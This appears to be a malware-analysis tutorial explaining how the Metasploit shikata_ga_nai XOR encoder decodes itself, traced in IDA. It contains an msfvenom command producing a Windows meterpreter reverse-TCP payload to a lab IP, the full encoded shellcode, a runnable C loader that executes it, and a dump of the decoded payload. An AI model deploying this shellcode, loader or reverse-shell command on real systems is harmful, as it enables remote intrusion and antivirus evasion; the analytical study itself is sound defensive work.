What is Shikata_ga_nai?
Shikata_ga_nai is a Metasploit encoder used by threat actors to evade/bypass Anti-virus tools.
How does Shikata_ga_nai work?
In summary, shikata_ga_nai uses xoring methodology to evade AVs. Xoring is a bit wise operation that is commonly used in cryptography. Threat actors uses this technique to obfuscate the malware payload. for example, if you xor the value 0x42 (B) to 0x41 (A) = 0x3. Although, the payload in the hard drive may be stored as 0x3 but once the malware is execute, it perform the xoring operation against the 0x3 to obtain its actual malicious form.
Analysis of reverse_tcp payload encoded with shikata_ga_nai
┌──(kali㉿kali)-[/tmp]
└─$ sudo msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.2.115 lport=1023 -f c -e x86/shikata_ga_nai
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 381 (iteration=0)
x86/shikata_ga_nai chosen with final size 381
Payload size: 381 bytes
Final size of c file: 1632 bytes
unsigned char buf[] =
"\xdd\xc1\xd9\x74\x24\xf4\x5e\xb8\x86\xeb\xa3\xce\x29\xc9"
"\xb1\x59\x31\x46\x19\x83\xc6\x04\x03\x46\x15\x64\x1e\x5f"
"\x26\xe7\xe1\xa0\xb7\x97\x68\x45\x86\x85\x0f\x0d\xbb\x19"
"\x5b\x43\x30\xd2\x09\x70\x47\x53\xe7\x5e\x66\x64\x73\xec"
"\xa0\xab\x44\xbd\x8d\xaa\x38\xbc\xc1\x0c\x00\x0f\x14\x4d"
"\x45\xd9\x52\xa2\x1b\x8d\x17\x6e\x8c\xba\x6a\xb2\xad\x6c"
"\xe1\x8a\xd5\x09\x36\x7e\x6a\x13\x67\x2e\xf9\x4b\xa7\xcf"
"\x2e\xe0\xef\xd7\x55\x3e\x9b\xdb\x64\x3e\x2d\xa8\xb3\x4b"
"\xaf\x78\x8a\x8b\x1c\x45\x22\x06\x5c\x82\x85\xf9\x2b\xf8"
"\xf5\x84\x2b\x3b\x87\x52\xb9\xdb\x2f\x10\x19\x3f\xd1\xf5"
"\xfc\xb4\xdd\xb2\x8b\x92\xc1\x45\x5f\xa9\xfe\xce\x5e\x7d"
"\x77\x94\x44\x59\xd3\x4e\xe4\xf8\xb9\x21\x19\x1a\x65\x9d"
"\xbf\x51\x84\xc8\xc0\x9a\x56\xf5\x9c\x0c\x9a\x38\x1f\xcc"
"\xb4\x4b\x6c\xfe\x1b\xe0\xfa\xb2\xd4\x2e\xfc\xc3\xf3\xd0"
"\xd2\x6b\x93\x2e\xd3\x8b\xbd\xf4\x87\xdb\xd5\xdd\xa7\xb0"
"\x25\xe1\x7d\x2c\x2c\x75\xbe\x18\x32\xf6\x56\x5a\x33\xfb"
"\x59\xd3\xd5\xab\xf5\xb3\x49\x0c\xa6\x73\x3a\xe4\xac\x7c"
"\x65\x14\xcf\x57\x0e\xbf\x20\x01\x66\x28\xd8\x08\xfc\xc9"
"\x25\x87\x78\xc9\xae\x2d\x7c\x84\x46\x44\x6e\xf1\x30\xa6"
"\x6e\x02\xd5\xa6\x04\x06\x7f\xf1\xb0\x04\xa6\x35\x1f\xf6"
"\x8d\x46\x58\x08\x50\x7e\x12\x3f\xc6\x3e\x4c\x40\x06\xbe"
"\x8c\x16\x4c\xbe\xe4\xce\x34\xed\x11\x11\xe1\x82\x89\x84"
"\x0a\xf2\x7e\x0e\x63\xf8\x59\x78\x2c\x03\x8c\xfa\x2b\xfb"
"\x52\xd5\x93\x93\xac\x65\x24\x63\xc7\x65\x74\x0b\x1c\x49"
"\x7b\xfb\xdd\x40\xd4\x93\x54\x05\x96\x02\x68\x0c\x76\x9a"
"\x69\xa3\xa3\x2d\x13\xcc\x54\xce\xe4\xc4\x30\xcf\xe4\xe8"
"\x46\xec\x32\xd1\x3c\x33\x87\x66\x4e\x06\xaa\xcf\xc5\x68"
"\xf8\x10\xcc";
Basically, sudo msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.2.115 lport=1023 -f c -e x86/shikata_ga_nai
” is used to generate payload embeddable in a C program where if executed, it connects back to 192.168.2.115 on port 1023.
shikata.c
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
unsigned char buf[] =
"\xdd\xc1\xd9\x74\x24\xf4\x5e\xb8\x86\xeb\xa3\xce\x29\xc9"
"\xb1\x59\x31\x46\x19\x83\xc6\x04\x03\x46\x15\x64\x1e\x5f"
"\x26\xe7\xe1\xa0\xb7\x97\x68\x45\x86\x85\x0f\x0d\xbb\x19"
"\x5b\x43\x30\xd2\x09\x70\x47\x53\xe7\x5e\x66\x64\x73\xec"
"\xa0\xab\x44\xbd\x8d\xaa\x38\xbc\xc1\x0c\x00\x0f\x14\x4d"
"\x45\xd9\x52\xa2\x1b\x8d\x17\x6e\x8c\xba\x6a\xb2\xad\x6c"
"\xe1\x8a\xd5\x09\x36\x7e\x6a\x13\x67\x2e\xf9\x4b\xa7\xcf"
"\x2e\xe0\xef\xd7\x55\x3e\x9b\xdb\x64\x3e\x2d\xa8\xb3\x4b"
"\xaf\x78\x8a\x8b\x1c\x45\x22\x06\x5c\x82\x85\xf9\x2b\xf8"
"\xf5\x84\x2b\x3b\x87\x52\xb9\xdb\x2f\x10\x19\x3f\xd1\xf5"
"\xfc\xb4\xdd\xb2\x8b\x92\xc1\x45\x5f\xa9\xfe\xce\x5e\x7d"
"\x77\x94\x44\x59\xd3\x4e\xe4\xf8\xb9\x21\x19\x1a\x65\x9d"
"\xbf\x51\x84\xc8\xc0\x9a\x56\xf5\x9c\x0c\x9a\x38\x1f\xcc"
"\xb4\x4b\x6c\xfe\x1b\xe0\xfa\xb2\xd4\x2e\xfc\xc3\xf3\xd0"
"\xd2\x6b\x93\x2e\xd3\x8b\xbd\xf4\x87\xdb\xd5\xdd\xa7\xb0"
"\x25\xe1\x7d\x2c\x2c\x75\xbe\x18\x32\xf6\x56\x5a\x33\xfb"
"\x59\xd3\xd5\xab\xf5\xb3\x49\x0c\xa6\x73\x3a\xe4\xac\x7c"
"\x65\x14\xcf\x57\x0e\xbf\x20\x01\x66\x28\xd8\x08\xfc\xc9"
"\x25\x87\x78\xc9\xae\x2d\x7c\x84\x46\x44\x6e\xf1\x30\xa6"
"\x6e\x02\xd5\xa6\x04\x06\x7f\xf1\xb0\x04\xa6\x35\x1f\xf6"
"\x8d\x46\x58\x08\x50\x7e\x12\x3f\xc6\x3e\x4c\x40\x06\xbe"
"\x8c\x16\x4c\xbe\xe4\xce\x34\xed\x11\x11\xe1\x82\x89\x84"
"\x0a\xf2\x7e\x0e\x63\xf8\x59\x78\x2c\x03\x8c\xfa\x2b\xfb"
"\x52\xd5\x93\x93\xac\x65\x24\x63\xc7\x65\x74\x0b\x1c\x49"
"\x7b\xfb\xdd\x40\xd4\x93\x54\x05\x96\x02\x68\x0c\x76\x9a"
"\x69\xa3\xa3\x2d\x13\xcc\x54\xce\xe4\xc4\x30\xcf\xe4\xe8"
"\x46\xec\x32\xd1\x3c\x33\x87\x66\x4e\x06\xaa\xcf\xc5\x68"
"\xf8\x10\xcc";
int main(){
DWORD oldprot;
if ((VirtualProtect((int *)&buf,1,PAGE_EXECUTE_READWRITE,&oldprot) == FALSE) )
{
printf("our vprot failed\n");
return FALSE;
}
(*(void (*)()) buf)();
return 0;
}
Compile it with GCC using gcc -m32 shikata_c.c -o shikata_c.exe
Note: when compiling your payload, make sure to use -m32 option to compile it as 32bit and use IDA x86/32 to debug the payload.
`VirtualProtect` is going to enable read,write and execute permission on this program. Either you do this, or disable DEP.
Now, lets load it to IDA. Make sure to launch IDA as administrator.
IDA is pretty good to detect the main/start functions of a PEFILE, but that is not always the case. Keep in mind, that in future, when debugging complex threats, IDA could be wrong when saying function XYZ is the main.
You can see that IDA was able to successfully detect the main function correctly, and within the main function we have called the `buf` payload.
Set a break point on `call eax
` and run the program.
First of all, since buf is stored in the data segment, IDA will complain about whether you want to execute code from the data segment, since we have called
`VirtualProtect` to enable execute permission, we should be fine.
Make sure to step-in to our breakpoint when it is hit. This should land us on the following instruction.
The first few byte of the payload are valid instructions including the xoring, but after the first 25 bytes, they are invalid which make is hard for AVs to detect it.
Note the 25 bytes of payload in the picture above vs when I step over the xor
instruction or below:
4 bytes of the payload marked in yellow have now changed to E2 F5 FC 38. The loop instruction below xor is responsible to loop through until the payload is fully decoded.
The new payload looks like this when the first few bytes have been decoded:
Before the payload is decode fully, only the following modules are imported by our program:
C:\Users\Lab\Desktop\sample\shikata_c.exe 00280000 0001C000
C:\Windows\SysWOW64\apphelp.dll 72C60000 0009F000
C:\Windows\SysWOW64\KERNEL32.DLL 75F60000 000F0000
C:\Windows\SysWOW64\msvcrt.dll 76230000 000BF000
C:\Windows\SysWOW64\KERNELBASE.dll 76DB0000 00223000
ntdll.dll 77960000 001A4000
As a test, lets disable all the break points and restart the program in IDA, so that the payload completely decode itself. After a 2-3 seconds click on suspend button.
Our decoded payload looks like:
00289020 DD C1 D9 74 24 F4 5E B8 86 EB A3 CE 29 C9 B1 59
00289030 31 46 19 83 C6 04 03 46 15 E2 F5 FC E8 8F 00 00
00289040 00 60 89 E5 31 D2 64 8B 52 30 8B 52 0C 8B 52 14
00289050 0F B7 4A 26 31 FF 8B 72 28 31 C0 AC 3C 61 7C 02
00289060 2C 20 C1 CF 0D 01 C7 49 75 EF 52 57 8B 52 10 8B
00289070 42 3C 01 D0 8B 40 78 85 C0 74 4C 01 D0 50 8B 58
00289080 20 01 D3 8B 48 18 85 C9 74 3C 31 FF 49 8B 34 8B
00289090 01 D6 31 C0 AC C1 CF 0D 01 C7 38 E0 75 F4 03 7D
002890A0 F8 3B 7D 24 75 E0 58 8B 58 24 01 D3 66 8B 0C 4B
002890B0 8B 58 1C 01 D3 8B 04 8B 01 D0 89 44 24 24 5B 5B
002890C0 61 59 5A 51 FF E0 58 5F 5A 8B 12 E9 80 FF FF FF
002890D0 5D 68 33 32 00 00 68 77 73 32 5F 54 68 4C 77 26
002890E0 07 89 E8 FF D0 B8 90 01 00 00 29 C4 54 50 68 29
002890F0 80 6B 00 FF D5 6A 0A 68 C0 A8 02 73 68 02 00 03
00289100 FF 89 E6 50 50 50 50 40 50 40 50 68 EA 0F DF E0
00289110 FF D5 97 6A 10 56 57 68 99 A5 74 61 FF D5 85 C0
00289120 74 0A FF 4E 08 75 EC E8 67 00 00 00 6A 00 6A 04
00289130 56 57 68 02 D9 C8 5F FF D5 83 F8 00 7E 36 8B 36
00289140 6A 40 68 00 10 00 00 56 6A 00 68 58 A4 53 E5 FF
00289150 D5 93 53 6A 00 56 53 57 68 02 D9 C8 5F FF D5 83
00289160 F8 00 7D 28 58 68 00 40 00 00 6A 00 50 68 0B 2F
00289170 0F 30 FF D5 57 68 75 6E 4D 61 FF D5 5E 5E FF 0C
00289180 24 0F 85 70 FF FF FF E9 9B FF FF FF 01 C3 29 C6
00289190 75 C1 C3 BB F0 B5 A2 56 6A 00 53 FF D5 00 00 00
002891A0 40 85 28 00 FF FF FF FF FF FF FF FF FF FF FF FF
If you compare the payload before vs now, you would see a lot of changes, such as importing ws2_32:
Under modules window, we can also see that more library files are imported including ws2_32.dll which contains the functions related to socket.
C:\Users\Lab\Desktop\sample\shikata_c.exe 00280000 0001C000
C:\Windows\SysWOW64\apphelp.dll 72C60000 0009F000
C:\Windows\SysWOW64\mswsock.dll 72DD0000 00052000
C:\Windows\SysWOW64\KERNEL32.DLL 75F60000 000F0000
C:\Windows\SysWOW64\ws2_32.DLL 76090000 00063000
C:\Windows\SysWOW64\msvcrt.dll 76230000 000BF000
C:\Windows\SysWOW64\RPCRT4.dll 76320000 000BF000
C:\Windows\SysWOW64\KERNELBASE.dll 76DB0000 00223000
ntdll.dll 77960000 001A4000
What did we learn?
The first 25 bytes of a payload encoded with shikata_ga_nai, are valid instruction and is responsible to decode the remaining payload using the xoring technique.